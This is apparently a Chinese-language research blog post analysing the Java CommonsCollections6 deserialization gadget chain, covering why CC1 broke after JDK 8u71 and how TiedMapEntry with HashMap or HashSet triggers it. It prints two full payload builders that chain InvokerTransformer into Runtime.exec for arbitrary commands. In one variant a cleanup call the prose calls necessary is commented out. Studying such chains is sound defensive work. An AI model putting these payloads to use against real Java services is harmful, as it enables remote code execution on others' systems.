Skip to main content

CommonsCollections6

0x01 高版本不可行原因 - LinkedHashMap

在上一篇分析对 CC1 进行总结时,提到在 jdk 8u71 版本时,在AnnotationInvocationHandler 类中引入 LinkedHashMap 导致无法利用,首先来分析一下原因。

AnnotationInvocationHandler 类同时实现了 InvocationHandlerSerializable 接口,需要注意的是会首先调用 readObject() 方法,根据序列化数据重建对象,后续才会再进入代理对象的 invoke() 方法。

而在 readObject() 方法中,将 memberValues 定义为 LinkedHashMap,而不是前面提到的 LazyMapTransformedMap,自然无法形成调用链。

image-20231221212024044

还是以 LazyMap 为例,既然通过 entrySet() 的方式走不通,那就再找找其他调用了 LazyMap.get() 的方法。

0x02 TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry 类的 getValue() 方法调用了 map.get() ,map 对象通过 TiedMapEntry 的构造方法赋值。

image-20231221212550543

并且 getValue() 方法在 TiedMapEntry.hashCode() 中被调用。

image-20230328140345449

0x03 HashMap

在分析 URLDNS 时提到 HashMap 是实现了 Serializable 的,在反序列化 HashMap 时会计算 key 的 hash 即会调用 hashCode() 方法进行计算,那么同样可以用这种方式触发 TiedMapEntry.hashCode()。当然也会遇到与之前一致的问题调用 HashMap.put() 时提前触发,再复习一下之前的解决思路。

  1. URLDNS 反射调用 putVal() 写入 key
  2. CC1 LazyMap 先传一个空的 ChainedTransformer ,再反射将有威胁的 Transformer[] 写入

实现如下:

    public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};


final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "Whoopsunix");

HashMap hashMap = new HashMap();
hashMap.put(entry, "Whoopsunix");


lazyMap.clear();

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

return hashMap;
}

0x04 HashSet

而在 ysoserial 中使用的则是 java.util.HashSet ,HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合。HashSet 的值存在 HashMap key 上,value 恒为 private static final Object PRESENT = new Object();

image-20230802143758190

HashSet#readObject() 中会直接对我们的输入流进行反序列化,并将该对象作为 key 值保存到 HashMap,put() 方法会执行 hashCode() 方法计算 key 的 hash。( hashcode() 方法广泛的运用在 Map 的各种操作,比如 get、put、remove等)

所以总结起来这条 gadget 的大致实现思路: java.util.HashSet#readObject() -> HashMap#put() -> HashMap#hash(key) -> TiedMapEntry#hashCode()

我们注意到 ysoserial 中是实现反射获取了 HashMap 中的 table 属性(即 HashMap 的底层存储),通过反射的方式将 table中的 key 值修改为 HashSet ,那么如果直接向 HashSet 中添加 entry 对象会发生什么?

image-20230328164611397

在序列化时执行 HashMap 的 put() 方法时会计算 key 的 hashcode,而这时的 key 值为 TiedMapEntry,根据 HashMap 的 hash() 方法,会执行其 hashCode() 方法。

image-20230802142258547

TiedMapEntry.hashCode() 调用 getValue() ,其中的 map 通过 TiedMapEntry 构造方法赋值为 Lazymap

image-20230802143306526

LazyMap get() 方法由于不存在 foo 这个 key 所以执行 put() 方法。那么反序列化的时候再进入 get() 方法时就不满足 if 条件,所以 ysoserial 中通过反射更改了这个 key 值为 TiedMapEntry。

image-20230328165538075

但我们思考一下,既然问题出在 LazyMap 存在 foo 这个 key ,HashSet 又需要 TiedMapEntry 对象作为 key ,那么可以针对第三点中 HashMap 的例子进行改造,HashSet 中传入 TiedMapEntry 作为 key ,再对 LazyMap 执行一次 clear() 去除因为 HashMap.put() 造成的影响,Hashmap 和 Hashset 的写法都可以。

缝合后如下:

    public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[]{command};
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(1)};


final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "Whoopsunix");

// way A
HashMap hashMap = new HashMap();
hashMap.put(entry, "Whoopsunix");
// lazyMap.clear();
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return hashMap;

// way B
// HashMap hashMap = new HashMap();
// hashMap.put(entry, "Whoopsunix");
// HashSet hashSet = new HashSet(hashMap.keySet());
// lazyMap.clear();
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// return hashSet;
}